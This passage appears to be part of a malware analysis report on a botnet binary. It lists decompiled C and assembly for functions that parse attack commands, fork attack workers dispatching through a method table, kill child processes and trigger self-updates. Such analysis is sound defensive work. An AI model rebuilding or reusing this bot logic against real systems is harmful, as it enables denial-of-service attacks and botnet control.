00400ac4e8 92 16 01 00CALL FUN_0041215b; FUN_0041215b: unknown
00400ac9ff c8DEC EAX
00400acb0f 85 45 fe ff ffJNZ LAB_00400916
00400ad18b 74 24 30MOV ESI,dword ptr [RSP + local_980]
00400ad548 89 efMOV RDI,RBP
00400ad8e8 19 2e 01 00CALL FUN_004138f6
00400addff cbDEC EBX
00400adf0f 84 31 fe ff ffJZ LAB_00400916
00400ae5eb c4JMP LAB_00400aab
LAB_00400ae7:
00400ae7e8 50 71 01 00CALL FUN_00417c3c
00400aecb9 00 40 00 00MOV ECX,0x4000
00400af1ba 00 04 00 00MOV EDX,0x400
00400af648 89 eeMOV RSI,RBP
00400af9c7 00 00 00 00 00MOV dword ptr [RAX],0x0
00400aff8b 3d 1f af 22 00MOV EDI,dword ptr [DAT_0062ba24]
00400b0548 89 c3MOV RBX,RAX
00400b08e8 df a5 01 00CALL FUN_0041b0ec
00400b0d41 89 c6MOV R14D,EAX
00400b1085 c0TEST EAX,EAX
00400b127f 13JG LAB_00400b27
00400b148b 03MOV EAX,dword ptr [RBX]
00400b1683 f8 0bCMP EAX,0xb
00400b1974 2bJZ LAB_00400b46
00400b1b83 f8 04CMP EAX,0x4
00400b1e74 26JZ LAB_00400b46
LAB_00400b20:
00400b20e8 75 21 01 00CALL FUN_00412c9a
00400b25eb 1fJMP LAB_00400b46
LAB_00400b27:
00400b2789 c6MOV ESI,EAX
00400b2948 89 efMOV RDI,RBP
00400b2cba ed ff ea 0dMOV EDX,0xdeaffed
00400b31e8 2f cb 00 00CALL FUN_0040d665
00400b3644 89 f6MOV ESI,R14D
00400b3948 89 efMOV RDI,RBP
00400b3ce8 b5 2d 01 00CALL FUN_004138f6
00400b41e9 d0 fd ff ffJMP LAB_00400916
LAB_00400b46:
00400b4644 89 ebMOV EBX,R13D
LAB_00400b49:
00400b4941 89 ddMOV R13D,EBX
00400b4ce9 c5 fd ff ffJMP LAB_00400916
LAB_00400b51:
00400b518b 3d cd ae 22 00MOV EDI,dword ptr [DAT_0062ba24]
00400b57e8 e5 cf 01 00CALL FUN_0041db41
00400b5cc7 05 be ae 22 00 ff ff …MOV dword ptr [DAT_0062ba24],0xffffffff
00400b66e9 e5 fa ff ffJMP LAB_00400650
LAB_00400b6b:
00400b6b48 81 c4 68 09 00 00ADD RSP,0x968
00400b7231 c0XOR EAX,EAX
00400b745bPOP RBX
00400b755dPOP RBP
00400b7641 5cPOP R12
00400b7841 5dPOP R13
00400b7a41 5ePOP R14
00400b7c41 5fPOP R15
00400b7ec3RET

kills every tracked child pid except…

0x400cd784 bytes
undefined FUN_00400cd7()

kills every tracked child pid except itself and its worker

Cited as
E6
Behaviours
B5, B8, B9
Called from
FUN_00400f7d
Calls
FUN_004157a1, FUN_0041c083, FUN_0041dc97
Decompiled C · 20 lines
undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Assembly · 32 instructions, 0 annotated
AddressBytesInstructionComment
00400cd741 55PUSH R13
00400cd94c 8d 2d 60 f1 22 00LEA R13,[DAT_0062fe40]
00400ce041 54PUSH R12
00400ce255PUSH RBP
00400ce353PUSH RBX
00400ce431 dbXOR EBX,EBX
00400ce652PUSH RDX
00400ce7e8 ab cf 01 00CALL FUN_0041dc97
00400cec41 89 c4MOV R12D,EAX
00400cefe8 ad 4a 01 00CALL FUN_004157a1
00400cf489 c5MOV EBP,EAX
LAB_00400cf6:
00400cf639 1d 2c f1 22 00CMP dword ptr [DAT_0062fe28],EBX
00400cfc7e 25JLE LAB_00400d23
00400cfe41 8b 7c 9d 00MOV EDI,dword ptr [R13 + RBX*0x4]
00400d0385 ffTEST EDI,EDI
00400d057e 17JLE LAB_00400d1e
00400d0741 39 fcCMP R12D,EDI
00400d0a74 12JZ LAB_00400d1e
00400d0c85 edTEST EBP,EBP
00400d0e7e 04JLE LAB_00400d14
00400d1039 fdCMP EBP,EDI
00400d1274 0aJZ LAB_00400d1e
LAB_00400d14:
00400d14be 09 00 00 00MOV ESI,0x9
00400d19e8 65 b3 01 00CALL FUN_0041c083
LAB_00400d1e:
00400d1e48 ff c3INC RBX
00400d21eb d3JMP LAB_00400cf6
LAB_00400d23:
00400d2358POP RAX
00400d245bPOP RBX
00400d255dPOP RBP
00400d2641 5cPOP R12
00400d2841 5dPOP R13
00400d2ac3RET

forks the attack worker and calls the…

0x400d2b594 bytes
undefined FUN_00400d2b()

forks the attack worker and calls the vector from the method table

Cited as
E7
Behaviours
B8
Called from
FUN_00400f7d
Calls
FUN_004001d0, FUN_00400c9d, FUN_004081c0, FUN_004157a8, FUN_00417f10, thunk_FUN_004183e7, FUN_0041bdde, FUN_0041c083, FUN_0041cf00, FUN_0041dc97, FUN_0041dc9f, FUN_0041dd63
Decompiled C · 118 lines
void FUN_00400d2b(undefined4 param_1,char param_2,byte param_3,undefined1 *param_4,ulong param_5,
                 long param_6)

{
  undefined1 uVar1;
  int iVar2;
  undefined4 uVar3;
  undefined1 *puVar4;
  long lVar5;
  undefined1 *puVar6;
  long lVar7;
  char *pcVar8;
  uint uVar9;
  undefined1 *puVar10;
  ulong uVar11;
  byte bVar12;
  
  bVar12 = 0;
  param_5 = param_5 & 0xffffffff;
  iVar2 = FUN_0041bdde();
  if (iVar2 == -1) {
    return;
  }
  if (0 < iVar2) {
    FUN_004157a8();
    return;
  }
  iVar2 = FUN_0041bdde(iVar2);
  if (iVar2 != -1) {
    if (iVar2 != 0) goto LAB_00400dac;
    uVar3 = FUN_0041dc97();
    FUN_004157a8(uVar3);
    FUN_0041dd63(param_1);
    uVar3 = FUN_0041dc9f();
    FUN_0041c083(uVar3,9);
  }
LAB_00400da5:
  while( true ) {
    FUN_004001d0(0);
LAB_00400dac:
    uVar11 = param_5 & 0xff;
    uVar3 = FUN_0041dc97();
    FUN_004157a8(uVar3);
    FUN_004157a8();
    if ((param_3 != 0) && (param_4 != (undefined1 *)0x0)) break;
LAB_00400f5f:
    puVar4 = (undefined1 *)0x0;
    if ((char)param_5 != '\0') {
LAB_00400e16:
      param_4 = (undefined1 *)FUN_00417f10(param_5 & 0xff,0x10);
      if (param_4 != (undefined1 *)0x0) {
        lVar7 = 8;
        param_5 = 0;
LAB_00400e36:
        uVar1 = *(undefined1 *)(param_6 + -8 + lVar7);
        puVar10 = *(undefined1 **)(param_6 + lVar7);
        *(undefined8 *)(param_4 + lVar7) = 0;
        param_4[lVar7 + -8] = uVar1;
        if (puVar10 == (undefined1 *)0x0) goto LAB_00400ec5;
        lVar5 = FUN_0041cf00(puVar10);
        lVar5 = lVar5 + 1;
        puVar6 = (undefined1 *)FUN_00417f10(lVar5,1);
        *(undefined1 **)(param_4 + lVar7) = puVar6;
        if (puVar6 != (undefined1 *)0x0) {
          for (; lVar5 != 0; lVar5 = lVar5 + -1) {
            *puVar6 = *puVar10;
            puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
            puVar6 = puVar6 + (ulong)bVar12 * -2 + 1;
          }
          goto LAB_00400ec5;
        }
        for (param_5 = (ulong)(int)param_5; 0 < (int)param_5; param_5 = param_5 - 1) {
          thunk_FUN_004183e7(*(undefined8 *)(param_4 + param_5 * 0x10 + -8));
        }
        thunk_FUN_004183e7();
      }
      if (puVar4 != (undefined1 *)0x0) {
        thunk_FUN_004183e7();
      }
    }
  }
  puVar4 = (undefined1 *)FUN_00417f10((ulong)param_3,0x18);
  if (puVar4 == (undefined1 *)0x0) goto LAB_00400f5f;
  puVar10 = puVar4;
  for (lVar7 = (ulong)param_3 * 0x18; lVar7 != 0; lVar7 = lVar7 + -1) {
    *puVar10 = *param_4;
    param_4 = param_4 + (ulong)bVar12 * -2 + 1;
    puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
  }
  if ((char)param_5 != '\0') goto LAB_00400e16;
  param_4 = (undefined1 *)0x0;
  goto LAB_00400ed9;
LAB_00400ec5:
  uVar9 = (int)param_5 + 1;
  param_5 = (ulong)uVar9;
  lVar7 = lVar7 + 0x10;
  if ((int)uVar11 <= (int)uVar9) goto LAB_00400f3e;
  goto LAB_00400e36;
LAB_00400f3e:
  if (puVar4 != (undefined1 *)0x0) {
LAB_00400ed9:
    pcVar8 = &DAT_0062b000;
    for (iVar2 = 0; iVar2 < (int)(uint)DAT_0062b180; iVar2 = iVar2 + 1) {
      if (param_2 == *pcVar8) {
        (*(code *)(&PTR_FUN_0062b008)[(long)iVar2 * 2])(param_3,puVar4,uVar11,param_4);
        break;
      }
      pcVar8 = pcVar8 + 0x10;
    }
    thunk_FUN_004183e7();
    if (param_4 != (undefined1 *)0x0) {
      FUN_00400c9d(param_4,uVar11);
    }
  }
  goto LAB_00400da5;
}

Assembly · 167 instructions, 1 annotated
AddressBytesInstructionComment
00400d2b41 57PUSH R15
00400d2d41 56PUSH R14
00400d2f4d 89 ceMOV R14,R9
00400d3241 55PUSH R13
00400d3449 89 cdMOV R13,RCX
00400d3741 54PUSH R12
00400d3941 89 d4MOV R12D,EDX
00400d3c55PUSH RBP
00400d3d89 fdMOV EBP,EDI
00400d3f53PUSH RBX
00400d4044 89 c3MOV EBX,R8D
00400d4348 83 ec 28SUB RSP,0x28
00400d4740 88 74 24 07MOV byte ptr [RSP + local_51],SIL
00400d4ce8 8d b0 01 00CALL FUN_0041bdde
00400d5183 f8 ffCMP EAX,-0x1
00400d540f 84 14 02 00 00JZ LAB_00400f6e
00400d5a89 c7MOV EDI,EAX
00400d5c85 c0TEST EAX,EAX
00400d5e7e 13JLE LAB_00400d73
00400d6048 83 c4 28ADD RSP,0x28
00400d645bPOP RBX
00400d655dPOP RBP
00400d6641 5cPOP R12
00400d6841 5dPOP R13
00400d6a41 5ePOP R14
00400d6c41 5fPOP R15
00400d6ee9 35 4a 01 00JMP FUN_004157a8
LAB_00400d73:
00400d73e8 66 b0 01 00CALL FUN_0041bdde
00400d7883 f8 ffCMP EAX,-0x1
00400d7b74 28JZ LAB_00400da5
00400d7d85 c0TEST EAX,EAX
00400d7f75 2bJNZ LAB_00400dac
00400d81e8 11 cf 01 00CALL FUN_0041dc97
00400d8689 c7MOV EDI,EAX
00400d88e8 1b 4a 01 00CALL FUN_004157a8
00400d8d89 efMOV EDI,EBP
00400d8fe8 cf cf 01 00CALL FUN_0041dd63
00400d94e8 06 cf 01 00CALL FUN_0041dc9f
00400d99be 09 00 00 00MOV ESI,0x9
00400d9e89 c7MOV EDI,EAX
00400da0e8 de b2 01 00CALL FUN_0041c083
LAB_00400da5:
00400da531 ffXOR EDI,EDI
00400da7e8 24 f4 ff ffCALL FUN_004001d0; FUN_004001d0: unknown
LAB_00400dac:
00400dac89 44 24 08MOV dword ptr [RSP + local_50],EAX
00400db044 0f b6 fbMOVZX R15D,BL
00400db4e8 de ce 01 00CALL FUN_0041dc97
00400db989 c7MOV EDI,EAX
00400dbbe8 e8 49 01 00CALL FUN_004157a8
00400dc08b 7c 24 08MOV EDI,dword ptr [RSP + local_50]
00400dc4e8 df 49 01 00CALL FUN_004157a8
00400dc945 84 e4TEST R12B,R12B
00400dcc0f 84 8d 01 00 00JZ LAB_00400f5f
00400dd24d 85 edTEST R13,R13
00400dd50f 84 84 01 00 00JZ LAB_00400f5f
00400ddb41 0f b6 ccMOVZX ECX,R12B
00400ddfbe 18 00 00 00MOV ESI,0x18
00400de448 89 cfMOV RDI,RCX
00400de748 89 4c 24 08MOV qword ptr [RSP + local_50],RCX
00400dece8 1f 71 01 00CALL FUN_00417f10
00400df148 89 c5MOV RBP,RAX
00400df448 85 c0TEST RAX,RAX
00400df70f 84 62 01 00 00JZ LAB_00400f5f
00400dfd48 8b 4c 24 08MOV RCX,qword ptr [RSP + local_50]
00400e0248 89 c7MOV RDI,RAX
00400e054c 89 eeMOV RSI,R13
00400e0848 6b c9 18IMUL RCX,RCX,0x18
00400e0cf3 a4MOVSB.REP RDI,RSI
00400e0e84 dbTEST BL,BL
00400e100f 84 c0 00 00 00JZ LAB_00400ed6
LAB_00400e16:
00400e160f b6 fbMOVZX EDI,BL
00400e19be 10 00 00 00MOV ESI,0x10
00400e1ee8 ed 70 01 00CALL FUN_00417f10
00400e2349 89 c5MOV R13,RAX
00400e2648 85 c0TEST RAX,RAX
00400e290f 84 1a 01 00 00JZ LAB_00400f49
00400e2fba 08 00 00 00MOV EDX,0x8
00400e3431 dbXOR EBX,EBX
LAB_00400e36:
00400e3641 8a 44 16 f8MOV AL,byte ptr [R14 + RDX*0x1 + -0x8]
00400e3b4d 8b 04 16MOV R8,qword ptr [R14 + RDX*0x1]
00400e3f49 c7 44 15 00 00 00 00 …MOV qword ptr [R13 + RDX*0x1],0x0
00400e4841 88 44 15 f8MOV byte ptr [R13 + RDX*0x1 + -0x8],AL
00400e4d4d 85 c0TEST R8,R8
00400e5074 73JZ LAB_00400ec5
00400e524c 89 c7MOV RDI,R8
00400e5548 89 54 24 18MOV qword ptr [RSP + local_40],RDX
00400e5a4c 89 44 24 10MOV qword ptr [RSP + local_48],R8
00400e5fe8 9c c0 01 00CALL FUN_0041cf00
00400e64be 01 00 00 00MOV ESI,0x1
00400e6948 8d 48 01LEA RCX,[RAX + 0x1]
00400e6d48 89 cfMOV RDI,RCX
00400e7048 89 4c 24 08MOV qword ptr [RSP + local_50],RCX
00400e75e8 96 70 01 00CALL FUN_00417f10
00400e7a48 8b 54 24 18MOV RDX,qword ptr [RSP + local_40]
00400e7f48 8b 4c 24 08MOV RCX,qword ptr [RSP + local_50]
00400e8448 85 c0TEST RAX,RAX
00400e874c 8b 44 24 10MOV R8,qword ptr [RSP + local_48]
00400e8c49 89 44 15 00MOV qword ptr [R13 + RDX*0x1],RAX
00400e9175 2aJNZ LAB_00400ebd
00400e9348 63 dbMOVSXD RBX,EBX
LAB_00400e96:
00400e9685 dbTEST EBX,EBX
00400e987e 16JLE LAB_00400eb0
00400e9a48 89 d8MOV RAX,RBX
00400e9d48 ff cbDEC RBX
00400ea048 c1 e0 04SHL RAX,0x4
00400ea449 8b 7c 05 f8MOV RDI,qword ptr [R13 + RAX*0x1 + -0x8]
00400ea9e8 52 71 01 00CALL thunk_FUN_004183e7
00400eaeeb e6JMP LAB_00400e96
LAB_00400eb0:
00400eb04c 89 efMOV RDI,R13
00400eb3e8 48 71 01 00CALL thunk_FUN_004183e7
00400eb8e9 8c 00 00 00JMP LAB_00400f49
LAB_00400ebd:
00400ebd48 89 c7MOV RDI,RAX
00400ec04c 89 c6MOV RSI,R8
00400ec3f3 a4MOVSB.REP RDI,RSI
LAB_00400ec5:
00400ec5ff c3INC EBX
00400ec748 83 c2 10ADD RDX,0x10
00400ecb41 39 dfCMP R15D,EBX
00400ece0f 8f 62 ff ff ffJG LAB_00400e36
00400ed4eb 68JMP LAB_00400f3e
LAB_00400ed6:
00400ed645 31 edXOR R13D,R13D
LAB_00400ed9:
00400ed948 8d 15 20 a1 22 00LEA RDX,[DAT_0062b000]
00400ee00f b6 0d 99 a2 22 00MOVZX ECX,byte ptr [DAT_0062b180]
00400ee731 c0XOR EAX,EAX
00400ee949 89 d0MOV R8,RDX
LAB_00400eec:
00400eec39 c8CMP EAX,ECX
00400eee7d 2dJGE LAB_00400f1d
00400ef048 83 c2 10ADD RDX,0x10
00400ef440 8a 74 24 07MOV SIL,byte ptr [RSP + local_51]
00400ef940 3a 72 f0CMP SIL,byte ptr [RDX + -0x10]
00400efd75 1aJNZ LAB_00400f19
00400eff48 98CDQE
00400f0141 0f b6 fcMOVZX EDI,R12B
00400f054c 89 e9MOV RCX,R13
00400f0844 89 faMOV EDX,R15D
00400f0b48 c1 e0 04SHL RAX,0x4
00400f0f48 89 eeMOV RSI,RBP
00400f1241 ff 54 00 08CALL qword ptr [R8 + RAX*0x1 + 0x8]
00400f17eb 04JMP LAB_00400f1d
LAB_00400f19:
00400f19ff c0INC EAX
00400f1beb cfJMP LAB_00400eec
LAB_00400f1d:
00400f1d48 89 efMOV RDI,RBP
00400f20e8 db 70 01 00CALL thunk_FUN_004183e7
00400f254d 85 edTEST R13,R13
00400f280f 84 77 fe ff ffJZ LAB_00400da5
00400f2e44 89 feMOV ESI,R15D
00400f314c 89 efMOV RDI,R13
00400f34e8 64 fd ff ffCALL FUN_00400c9d
00400f39e9 67 fe ff ffJMP LAB_00400da5
LAB_00400f3e:
00400f3e48 85 edTEST RBP,RBP
00400f410f 84 5e fe ff ffJZ LAB_00400da5
00400f47eb 90JMP LAB_00400ed9
LAB_00400f49:
00400f4948 85 edTEST RBP,RBP
00400f4c0f 84 53 fe ff ffJZ LAB_00400da5
00400f5248 89 efMOV RDI,RBP
00400f55e8 a6 70 01 00CALL thunk_FUN_004183e7
00400f5ae9 46 fe ff ffJMP LAB_00400da5
LAB_00400f5f:
00400f5f31 edXOR EBP,EBP
00400f6184 dbTEST BL,BL
00400f630f 85 ad fe ff ffJNZ LAB_00400e16
00400f69e9 37 fe ff ffJMP LAB_00400da5
LAB_00400f6e:
00400f6e48 83 c4 28ADD RSP,0x28
00400f725bPOP RBX
00400f735dPOP RBP
00400f7441 5cPOP R12
00400f7641 5dPOP R13
00400f7841 5ePOP R14
00400f7a41 5fPOP R15
00400f7cc3RET

parses an attack command

0x400f7d644 bytes
undefined FUN_00400f7d()

parses an attack command (duration, vector, targets, options); 0xff kills children, 0xfe self-updates

Cited as
E6
Behaviours
B5, B8, B9
Called from
FUN_004138f6
Calls
FUN_00400c9d, FUN_00400cd7, FUN_00400d2b, FUN_0040c527, FUN_0040d13d, FUN_00417c3c, FUN_00417f10, thunk_FUN_004183e7, FUN_0041b0e2
Decompiled C · 120 lines
void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
  cVar1 = *(char *)(param_1 + 4);
  if ((cVar1 == -1) && (iVar4 == 0)) {
    FUN_00400cd7();
    return;
  }
  if ((cVar1 == -2) && (iVar4 == 0)) {
    FUN_0040c527();
    return;
  }
  if (param_2 == 5) {
    return;
  }
  bVar2 = *(byte *)(param_1 + 5);
  if (bVar2 == 0) {
    return;
  }
  uVar10 = (ulong)bVar2 * 5;
  if ((ulong)(long)(int)(param_2 - 6) < uVar10) {
    return;
  }
  puVar5 = (undefined4 *)FUN_00417f10((ulong)bVar2,0x18);
  puVar7 = puVar5;
  lVar8 = param_1 + 6;
  for (iVar12 = 0; uVar13 = (uint)bVar2, iVar12 < (int)uVar13; iVar12 = iVar12 + 1) {
    FUN_0040d13d(puVar7,lVar8,4);
    uVar3 = *(undefined1 *)(lVar8 + 4);
    *(undefined2 *)(puVar7 + 2) = 2;
    lVar8 = lVar8 + 5;
    *(undefined1 *)(puVar7 + 1) = uVar3;
    puVar7[3] = *puVar7;
    puVar7 = puVar7 + 6;
  }
  pbVar9 = (byte *)(param_1 + 6 + uVar10);
  iVar12 = uVar13 * -5 + (param_2 - 6);
  if (iVar12 == 0) {
    lVar8 = 0;
    if (puVar5 == (undefined4 *)0x0) {
      return;
    }
  }
  else {
    unaff_R12B = *pbVar9;
    if (unaff_R12B == 0) {
      lVar8 = 0;
    }
    else {
      pbVar9 = pbVar9 + 1;
      iVar12 = iVar12 + -1;
      lVar8 = FUN_00417f10(unaff_R12B,0x10);
      lVar11 = 0;
      do {
        if (iVar12 == 0) goto LAB_004011b4;
        *(byte *)(lVar8 + lVar11 * 0x10) = *pbVar9;
        if (iVar12 == 1) {
LAB_004011ea:
          if (puVar5 != (undefined4 *)0x0) goto LAB_004011b9;
          goto LAB_004011c6;
        }
        bVar2 = pbVar9[1];
        if (iVar12 + -2 < (int)(uint)bVar2) goto LAB_004011ea;
        pbVar6 = (byte *)FUN_00417f10(bVar2 + 1,1);
        *(byte **)(lVar8 + 8 + lVar11 * 0x10) = pbVar6;
        if (pbVar6 == (byte *)0x0) goto LAB_004011ea;
        pbVar9 = pbVar9 + 2;
        for (uVar10 = (ulong)bVar2; uVar10 != 0; uVar10 = uVar10 - 1) {
          *pbVar6 = *pbVar9;
          pbVar9 = pbVar9 + (ulong)bVar14 * -2 + 1;
          pbVar6 = pbVar6 + (ulong)bVar14 * -2 + 1;
        }
        iVar12 = (iVar12 + -2) - (uint)bVar2;
        lVar11 = lVar11 + 1;
      } while ((int)lVar11 < (int)(uint)unaff_R12B);
    }
    puVar7 = (undefined4 *)FUN_00417c3c();
    *puVar7 = 0;
    FUN_00400d2b(iVar4,cVar1,uVar13,puVar5,unaff_R12B,lVar8);
LAB_004011b4:
    if (puVar5 == (undefined4 *)0x0) goto LAB_004011c1;
  }
LAB_004011b9:
  thunk_FUN_004183e7(puVar5);
LAB_004011c1:
  if (lVar8 == 0) {
    return;
  }
LAB_004011c6:
  FUN_00400c9d(lVar8,unaff_R12B);
  return;
}

Assembly · 186 instructions, 0 annotated
AddressBytesInstructionComment
00400f7d83 fe 03CMP ESI,0x3
00400f800f 86 7a 02 00 00JBE LAB_00401200
00400f8641 57PUSH R15
00400f88ba 04 00 00 00MOV EDX,0x4
00400f8d41 56PUSH R14
00400f8f41 55PUSH R13
00400f9141 54PUSH R12
00400f9355PUSH RBP
00400f9489 f5MOV EBP,ESI
00400f9653PUSH RBX
00400f9748 89 fbMOV RBX,RDI
00400f9a48 89 deMOV RSI,RBX
00400f9d48 83 ec 58SUB RSP,0x58
00400fa148 8d 7c 24 4cLEA RDI,[RSP + 0x4c]
00400fa6e8 92 c1 00 00CALL FUN_0040d13d
00400fab8b 7c 24 4cMOV EDI,dword ptr [RSP + local_3c]
00400fafe8 2e a1 01 00CALL FUN_0041b0e2
00400fb441 89 c6MOV R14D,EAX
00400fb783 fd 04CMP EBP,0x4
00400fba0f 84 31 02 00 00JZ LAB_004011f1
00400fc08a 43 04MOV AL,byte ptr [RBX + 0x4]
00400fc345 85 f6TEST R14D,R14D
00400fc688 44 24 0fMOV byte ptr [RSP + local_79],AL
00400fca0f 94 c0SETZ AL
00400fcd80 7c 24 0f ffCMP byte ptr [RSP + local_79],0xff
00400fd275 17JNZ LAB_00400feb
00400fd484 c0TEST AL,AL
00400fd674 13JZ LAB_00400feb
00400fd848 83 c4 58ADD RSP,0x58
00400fdc5bPOP RBX
00400fdd5dPOP RBP
00400fde41 5cPOP R12
00400fe041 5dPOP R13
00400fe241 5ePOP R14
00400fe441 5fPOP R15
00400fe6e9 ec fc ff ffJMP FUN_00400cd7
LAB_00400feb:
00400feb80 7c 24 0f feCMP byte ptr [RSP + local_79],0xfe
00400ff075 17JNZ LAB_00401009
00400ff284 c0TEST AL,AL
00400ff474 13JZ LAB_00401009
00400ff648 83 c4 58ADD RSP,0x58
00400ffa5bPOP RBX
00400ffb5dPOP RBP
00400ffc41 5cPOP R12
00400ffe41 5dPOP R13
0040100041 5ePOP R14
0040100241 5fPOP R15
00401004e9 1e b5 00 00JMP FUN_0040c527
LAB_00401009:
0040100983 fd 05CMP EBP,0x5
0040100c0f 84 df 01 00 00JZ LAB_004011f1
0040101244 0f b6 6b 05MOVZX R13D,byte ptr [RBX + 0x5]
0040101745 84 edTEST R13B,R13B
0040101a0f 84 d1 01 00 00JZ LAB_004011f1
004010208d 45 faLEA EAX,[RBP + -0x6]
0040102341 0f b6 fdMOVZX EDI,R13B
0040102789 44 24 10MOV dword ptr [RSP + local_78],EAX
0040102b4c 8d 3c bfLEA R15,[RDI + RDI*0x4]
0040102f48 98CDQE
004010314c 39 f8CMP RAX,R15
004010340f 82 b7 01 00 00JC LAB_004011f1
0040103a48 8d 43 06LEA RAX,[RBX + 0x6]
0040103ebe 18 00 00 00MOV ESI,0x18
0040104331 dbXOR EBX,EBX
0040104548 89 44 24 18MOV qword ptr [RSP + local_70],RAX
0040104ae8 c1 6e 01 00CALL FUN_00417f10
0040104f48 8b 4c 24 18MOV RCX,qword ptr [RSP + local_70]
0040105448 89 c5MOV RBP,RAX
LAB_00401057:
0040105741 39 ddCMP R13D,EBX
0040105a7e 42JLE LAB_0040109e
0040105cba 04 00 00 00MOV EDX,0x4
0040106148 89 ceMOV RSI,RCX
0040106448 89 c7MOV RDI,RAX
0040106748 89 4c 24 28MOV qword ptr [RSP + local_60],RCX
0040106c48 89 44 24 20MOV qword ptr [RSP + local_68],RAX
00401071ff c3INC EBX
00401073e8 c5 c0 00 00CALL FUN_0040d13d
0040107848 8b 4c 24 28MOV RCX,qword ptr [RSP + local_60]
0040107d48 8b 44 24 20MOV RAX,qword ptr [RSP + local_68]
004010828a 51 04MOV DL,byte ptr [RCX + 0x4]
0040108566 c7 40 08 02 00MOV word ptr [RAX + 0x8],0x2
0040108b48 83 c1 05ADD RCX,0x5
0040108f48 83 c0 18ADD RAX,0x18
0040109388 50 ecMOV byte ptr [RAX + -0x14],DL
004010968b 50 e8MOV EDX,dword ptr [RAX + -0x18]
0040109989 50 f4MOV dword ptr [RAX + -0xc],EDX
0040109ceb b9JMP LAB_00401057
LAB_0040109e:
0040109e48 8b 4c 24 18MOV RCX,qword ptr [RSP + local_70]
004010a341 6b dd fbIMUL EBX,R13D,-0x5
004010a74c 01 f9ADD RCX,R15
004010aa03 5c 24 10ADD EBX,dword ptr [RSP + local_78]
004010ae0f 84 2c 01 00 00JZ LAB_004011e0
004010b444 8a 21MOV R12B,byte ptr [RCX]
004010b745 84 e4TEST R12B,R12B
004010ba0f 84 cc 00 00 00JZ LAB_0040118c
004010c048 ff c1INC RCX
004010c341 0f b6 fcMOVZX EDI,R12B
004010c7be 10 00 00 00MOV ESI,0x10
004010ccff cbDEC EBX
004010ce48 89 4c 24 10MOV qword ptr [RSP + local_78],RCX
004010d3e8 38 6e 01 00CALL FUN_00417f10
004010d848 8b 4c 24 10MOV RCX,qword ptr [RSP + local_78]
004010dd31 d2XOR EDX,EDX
004010df49 89 c7MOV R15,RAX
004010e241 0f b6 c4MOVZX EAX,R12B
004010e689 44 24 18MOV dword ptr [RSP + local_70],EAX
LAB_004010ea:
004010ea85 dbTEST EBX,EBX
004010ec0f 84 c2 00 00 00JZ LAB_004011b4
004010f28a 01MOV AL,byte ptr [RCX]
004010f449 89 d2MOV R10,RDX
004010f748 89 54 24 38MOV qword ptr [RSP + local_50],RDX
004010fc49 c1 e2 04SHL R10,0x4
0040110043 88 04 17MOV byte ptr [R15 + R10*0x1],AL
004011044c 89 54 24 30MOV qword ptr [RSP + local_58],R10
0040110983 fb 01CMP EBX,0x1
0040110c0f 84 d8 00 00 00JZ LAB_004011ea
0040111244 0f b6 41 01MOVZX R8D,byte ptr [RCX + 0x1]
0040111748 8d 41 02LEA RAX,[RCX + 0x2]
0040111b83 eb 02SUB EBX,0x2
0040111e48 89 44 24 10MOV qword ptr [RSP + local_78],RAX
0040112344 88 44 24 28MOV byte ptr [RSP + local_60],R8B
0040112841 39 d8CMP R8D,EBX
0040112b0f 8f b9 00 00 00JG LAB_004011ea
0040113141 8d 78 01LEA EDI,[R8 + 0x1]
00401135be 01 00 00 00MOV ESI,0x1
0040113a44 89 44 24 20MOV dword ptr [RSP + local_68],R8D
0040113f48 63 ffMOVSXD RDI,EDI
00401142e8 c9 6d 01 00CALL FUN_00417f10
004011474c 8b 54 24 30MOV R10,qword ptr [RSP + local_58]
0040114c4b 89 44 17 08MOV qword ptr [R15 + R10*0x1 + 0x8],RAX
0040115148 85 c0TEST RAX,RAX
004011540f 84 90 00 00 00JZ LAB_004011ea
0040115a44 0f b6 54 24 28MOVZX R10D,byte ptr [RSP + local_60]
0040116048 8b 74 24 10MOV RSI,qword ptr [RSP + local_78]
0040116548 89 c7MOV RDI,RAX
0040116844 8b 44 24 20MOV R8D,dword ptr [RSP + local_68]
0040116d48 8b 54 24 38MOV RDX,qword ptr [RSP + local_50]
004011724c 89 d1MOV RCX,R10
00401175f3 a4MOVSB.REP RDI,RSI
0040117744 29 c3SUB EBX,R8D
0040117a48 ff c2INC RDX
0040117d48 89 f1MOV RCX,RSI
0040118039 54 24 18CMP dword ptr [RSP + local_70],EDX
004011840f 8f 60 ff ff ffJG LAB_004010ea
0040118aeb 03JMP LAB_0040118f
LAB_0040118c:
0040118c45 31 ffXOR R15D,R15D
LAB_0040118f:
0040118fe8 a8 6a 01 00CALL FUN_00417c3c
004011940f b6 74 24 0fMOVZX ESI,byte ptr [RSP + local_79]
004011994d 89 f9MOV R9,R15
0040119c48 89 e9MOV RCX,RBP
0040119fc7 00 00 00 00 00MOV dword ptr [RAX],0x0
004011a545 0f b6 c4MOVZX R8D,R12B
004011a944 89 eaMOV EDX,R13D
004011ac44 89 f7MOV EDI,R14D
004011afe8 77 fb ff ffCALL FUN_00400d2b
LAB_004011b4:
004011b448 85 edTEST RBP,RBP
004011b774 08JZ LAB_004011c1
LAB_004011b9:
004011b948 89 efMOV RDI,RBP
004011bce8 3f 6e 01 00CALL thunk_FUN_004183e7
LAB_004011c1:
004011c14d 85 ffTEST R15,R15
004011c474 2bJZ LAB_004011f1
LAB_004011c6:
004011c648 83 c4 58ADD RSP,0x58
